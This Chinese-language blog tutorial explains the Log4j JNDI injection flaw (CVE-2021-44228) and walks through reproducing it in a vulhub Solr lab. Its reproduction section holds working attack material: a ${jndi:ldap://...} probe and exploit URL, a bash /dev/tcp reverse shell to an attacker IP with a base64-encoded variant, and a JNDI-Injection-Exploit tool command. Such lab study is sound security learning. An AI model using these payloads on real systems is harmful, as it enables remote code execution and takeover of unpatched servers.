log4j的漏洞21年刚爆出来的时候可谓是轰动一时，当然这个漏洞也是面试官最爱问的一个问题之一，比如你了解log4j的原理吗？log4j验证方式有哪些？如果没有扫描器你怎么验证log4j呢？等等一系列的问题。
下面就再看一下log4j漏洞原理、组件功能以及漏洞复现方式。
漏洞前景介绍
这一节主要是对log4j的漏洞相关涉及的组件进行介绍，为什么导致漏洞的出现。
log4j:log4j是一个用于日志记录的Java库。它允许开发人员控制日志记录行为，包括日志级别、输出目标和格式化方式。通过使用log4j，开发人员可以更好地管理和跟踪应用程序的日志信息。需要注意的是，log4j有时会被称为Apache Log4j，是Apache软件基金会的一个开源项目。
JNDI：是Java命名和目录服务的API，它提供了一种统一的方式来访问不同的命名和目录服务，比如LDAP（轻量级目录访问协议）和DNS（域名系统）。通过JNDI，Java应用程序可以通过统一的接口访问各种不同的命名和目录服务，而无需关心底层服务的具体实现细节。JNDI通常用于在Java应用程序中查找和访问远程资源，比如数据库连接、消息队列、邮件服务器等。通过JNDI，Java应用程序可以通过配置文件或代码来定义和查找这些资源的名称，然后通过JNDI API来获取这些资源的引用并进行相应的操作。在一些情况下，JNDI也可以被恶意利用来执行远程代码，比如在log4j cve-2021-44228漏洞中所示的情况。这也是造成cve-2021-44228的主要原因。
JNDI Lookup：在JNDI中进行查找（lookup）操作，即根据指定的名称或路径查找相应的命名对象。通过JNDI Lookup，Java应用程序可以在命名服务中查找特定的资源或服务，例如数据库连接、JMS队列、LDAP条目等。JNDI Lookup是JNDI API的一个重要功能，用于实现在分布式环境中定位和访问各种资源。
LDAP：轻量级目录访问协议（Lightweight Directory Access Protocol）是一种用于访问和维护分布式目录服务的协议。目录服务是一种存储和组织信息的数据库，通常用于存储用户、组织、设备等实体的信息。LDAP协议定义了客户端和目录服务器之间的通信规则，使客户端能够对目录中的数据进行查询、添加、修改和删除操作。LDAP通常用于企业网络中的身份验证、授权、地址簿和其他目录服务。它提供了一个标准化的方法来访问和管理分布式目录数据，使得不同的应用程序和系统可以共享和访问相同的用户和资源信息。LDAP通常使用TCP/IP协议进行通信，运行在389端口上。总的来说，LDAP是一种用于访问分布式目录服务的协议，它提供了高效、灵活和标准化的方式来管理和查询目录中的数据。
RMI：（Remote Method Invocation）是Java中用于实现远程方法调用的机制。它允许一个Java程序调用远程主机上的对象的方法，就像调用本地对象的方法一样。通过RMI，Java程序可以在不同的Java虚拟机（JVM）之间进行通信，实现分布式计算和远程服务调用。RMI的工作原理是通过序列化和反序列化Java对象来在客户端和服务器之间传递方法调用和参数。客户端通过RMI Stub（存根）对象调用远程对象上的方法，然后Stub对象负责将方法调用和参数序列化并发送到远程服务器。远程服务器接收到请求后，通过RMI Skeleton（框架）对象将请求反序列化并调用相应的方法，然后将结果序列化并发送回客户端。RMI通常用于构建分布式系统和客户端-服务器应用程序，它简化了远程通信的实现，并提供了一种高级的方式来实现远程方法调用。需要注意的是，RMI只适用于Java语言，因此在使用RMI时需要确保客户端和服务器都是基于Java平台的。
漏洞原理：该漏洞允许远程攻击者执行任意代码。漏洞的原理是在Log4j 2.x的JNDI查找功能中存在一个问题，攻击者可以通过构造恶意的JNDI数据源名称来触发远程代码执行。这可能导致服务器受到攻击，并可能造成数据泄露或服务中断。
原理解释：这个漏洞是由于Log4j 2中的一个名为JNDI Lookup的特性存在安全问题，攻击者可以利用这个特性来执行远程代码。具体原因是由于Log4j 2中的JNDI Lookup特性在处理用户输入时存在不当验证，导致攻击者可以构造恶意输入，触发远程代码执行。攻击者可以通过构造特定的恶意输入，将恶意JNDI URL注入到Log4j的日志配置中，当Log4j尝试解析这个恶意的JNDI URL时，会触发远程代码执行。这个漏洞的严重性在于攻击者可以通过构造恶意的JNDI URL，远程加载恶意的类并执行恶意代码，从而实现远程代码执行攻击。
漏洞复现
本节是漏洞复现，采用JNDI注入工具实现，漏洞环境是vulhub靶场，Java1.8
攻击机IP：192.168.211.209 靶机IP：192.168.211.106
这里也可以是三台主机，其中JNDI环境放在控制机上，环境资源有限放在一起了，如果是对服务器复现，则攻击机也需要是服务器
切换到log4j路径下开启靶场环境：
| cd vulhub/log4j/CVE-2021-444228 |
| docker-compose up -d |
访问地址：http://your-IP:8983/solr/#/
1.第一步手工验证log4j漏洞是否存在（注意：这里虽然可以使用扫描工具去验证，但是学习的时候建议多了解手工验证，不要过度依赖各类扫描工具，除非深入了解扫描工具结构原理）
打开：DNSlog生成临时域名，这里的目的是为了验证JNDI注入是否存在，也就是漏洞是否存在
在路径后拼接/admin/cores?action=${jndi:ldap://${sys:java.version}.m3qewv.dnslog.cn}
加粗部分是重要组成部分，也就是上面所提到的利用JNDI来访问临时生成的域名看是否会返回所要的Java版本信息，action在这里作为注入点
当看到DNSlog返回的信息中包含所要查询的java版本信息，证明漏洞存在
辅助编码地址：Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
接下来进行bash反弹命令的创建
bash -i >& /dev/tcp/x.x.x.x(控制端/攻击机IP)/port_number(端口) 0>&1
| bash -i >& /dev/tcp/192.168.211.209/7788 0>&1 //这里是指输出信息都会返给这个攻击机的IP |
| bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4yMDkvNzc4OCAwPiYx}|{base64,-d}|{bash,-i} |
将JNDI注入工具下载到攻击机192.168.211.209开启监听端口后，执行如下命令：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4yMDkvNzc4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.211.209" //这里是放置JNDI载荷IP地址，也就是下载的JNDI注入工具的主机，当有三台服务器时会区分这个，如果只用两台就会放在一起
同时开启监听端口，收到反弹的shell
三台服务器的情况
JNDI注入载荷机：windows 192.168.211.58
攻击机kali：192.168.211.246
漏洞主机centos: 192.168.211.106
bash输出信息都流向攻击机的7766端口，攻击机上开启7766端口的监听
Windows系统上面放置JNDI载荷，相当于模拟一个域名的服务器，-A后面接JNDI载荷Windows的IP，对应获取的java相关的版本选择ldap或者rmi放在域名进行访问
JNDI载荷机访问：http://192.168.211.106:8983/solr/admin/cores?action=${jndi:ldap://192.168.211.58:1389/rddbyz}
这个时候centos 192.168.211.106漏洞机就会执行相关命令，加载class文件
此时攻击机就会接收到所有的反弹shell信息
针对于log4j漏洞我认为最重要的是理解漏洞的原理，漏洞JNDI在反弹shell的过程，当理解原理后在遇到类似的漏洞如果Java版本是更高的则去考虑绕过问题，真实的情况下可以尝试不同的注入点采用payload的burp抓包发包方式进行验证。
关于log4j的文章有很多，有兴趣的可以多看看，更深入的了解一下漏洞。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
